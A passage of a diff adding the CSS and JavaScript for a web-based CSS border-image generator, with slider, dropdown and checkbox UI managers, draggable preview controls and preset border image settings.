+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] &gt; * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider &gt; input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time &lt; 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index &gt;= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j&lt;4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i &lt; positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
